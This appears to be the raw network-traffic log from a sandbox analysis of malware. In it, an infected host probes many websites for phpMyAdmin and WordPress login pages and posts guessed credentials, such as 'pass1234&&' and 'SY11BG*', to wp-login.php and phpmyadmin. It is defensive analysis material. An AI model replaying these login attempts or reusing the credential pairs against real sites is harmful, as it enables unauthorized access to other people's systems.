2023-12-20 02:13:34 UTC	741	IN	Data Raw: 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 69 64 3d 22 77 70 2d 75 74 69 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 65 39 65 39 61 62 34 36 62 32 22 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 Data Ascii: min\/admin-ajax.php"}};</script><script src="https://majormega.com/wp-includes/js/wp-util.min.js?ver=6.3.2" id="wp-util-js"></script><script id="user-profile-js-extra">var userProfileL10n = {"user_id":"0","nonce":"e9e9ab46b2"};</script><script src="
2023-12-20 02:13:34 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2023-12-20 02:13:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.4	64223	205.178.187.19	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=93764522fe363817a99449c2a4086039\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:34 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=633CC8B4D9BC846C5E0EC603D1E275BA; Path=/; HttpOnly x-envoy-upstream-service-time: 1 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:34 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% --><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.4	64212	192.252.146.15	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	302	OUT	GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1 Host: cgi-sys.server294.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://twohillsstudio.com/wp-login.php
2023-12-20 02:13:35 UTC	166	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:34 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html
2023-12-20 02:13:35 UTC	1293	IN	Data Raw: 35 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c Data Ascii: 506<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><titl
2023-12-20 02:13:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.4	64331	108.163.227.170	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	172	OUT	GET /pma/ HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:35 UTC	330	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:34 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:35 UTC	7862	IN	Data Raw: 31 66 31 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 Data Ascii: 1f13<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – Active Graphics</title><met
2023-12-20 02:13:35 UTC	99	IN	Data Raw: 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 Data Ascii: : auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: le
2023-12-20 02:13:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:35 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 Data Ascii: 1ff8ft;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !impor
2023-12-20 02:13:35 UTC	5	IN	Data Raw: 36 62 36 0d 0a Data Ascii: 6b6
2023-12-20 02:13:35 UTC	1718	IN	Data Raw: 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 25 37 43 52 6f 62 6f 74 6f 2b 53 6c 61 62 25 33 41 31 30 30 25 32 43 31 30 30 69 74 61 6c 69 63 25 32 43 32 30 30 25 32 43 32 30 30 69 74 61 6c 69 63 25 32 43 33 30 30 25 32 43 33 30 30 69 74 61 6c 69 63 25 32 43 34 30 30 25 32 43 34 30 30 69 74 61 6c 69 63 25 32 43 35 30 30 25 32 43 35 30 30 69 74 61 6c 69 63 25 32 43 36 30 30 25 32 43 36 30 30 69 74 61 6c 69 63 25 32 43 37 30 30 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 26 23 30 33 38 3b 76 65 72 3d 36 2e 34 Data Ascii: %2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=swap&ver=6.4
2023-12-20 02:13:35 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.4	64315	108.163.227.170	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:34 UTC	352	OUT	POST /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://activegraphics.com/wp-login.php Content-Length: 158 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:34 UTC	158	OUT	Data Raw: 6c 6f 67 3d 6a 68 61 79 65 73 25 34 30 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 26 70 77 64 3d 70 61 73 73 31 32 33 34 25 32 36 25 32 36 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=jhayes%40activegraphics.com&pwd=pass1234%26%26&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Factivegraphics.com%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:35 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:34 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:35 UTC	5585	IN	Data Raw: 31 35 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 15c4<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.4	64442	172.67.181.211	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:36 UTC	378	OUT	POST /phpmyadmin/index.php HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip Cookie: phpMyAdmin_https=9rb2u8qp07ial64u5p3087bvu5; pma_lang_https=en User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://entexclusives.com/phpmyadmin/ Content-Length: 153 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:36 UTC	153	OUT	Data Raw: 73 65 74 5f 73 65 73 73 69 6f 6e 3d 39 72 62 32 75 38 71 70 30 37 69 61 6c 36 34 75 35 70 33 30 38 37 62 76 75 35 26 70 6d 61 5f 75 73 65 72 6e 61 6d 65 3d 61 64 6d 69 6e 26 70 6d 61 5f 70 61 73 73 77 6f 72 64 3d 53 59 31 31 42 47 25 32 41 26 73 65 72 76 65 72 3d 31 26 74 61 72 67 65 74 3d 69 6e 64 65 78 2e 70 68 70 26 6c 61 6e 67 3d 65 6e 26 74 6f 6b 65 6e 3d 34 30 33 36 33 38 36 33 34 37 35 31 35 62 37 39 35 38 36 36 33 61 34 36 32 33 32 31 33 62 32 64 Data Ascii: set_session=9rb2u8qp07ial64u5p3087bvu5&pma_username=admin&pma_password=SY11BG%2A&server=1&target=index.php&lang=en&token=4036386347515b7958663a4623213b2d
2023-12-20 02:13:37 UTC	1343	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: phpMyAdmin_https=k0jka2kr0n6b2qgmh91eg2t39b; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: pmaAuth-1_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
2023-12-20 02:13:37 UTC	619	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 33 36 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:36 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 33 64 63 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3dc7<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4deb2"></scri
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a 65 72 2e 6a 73 3f 76 3d 35 2e 30 2e Data Ascii: ry.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resizer.js?v=5.0.
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 Data Ascii: <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javasc
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 72 79 3a 22 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 36 30 35 61 34 30 34 61 35 33 35 37 33 66 36 39 33 63 37 39 36 33 32 61 33 32 34 66 32 38 37 34 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 53 74 72 75 63 74 75 72 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c Data Ascii: ry:"",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"605a404a53573f693c79632a324f2874",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:"Structure",pma_text_left_defaul
2023-12-20 02:13:37 UTC	1369	IN	Data Raw: 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 76 65 6e 64 6f 72 2f 63 6f 64 65 6d 69 72 72 6f 72 2f 6c Data Ascii: ', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js', 1) .add('vendor/codemirror/l
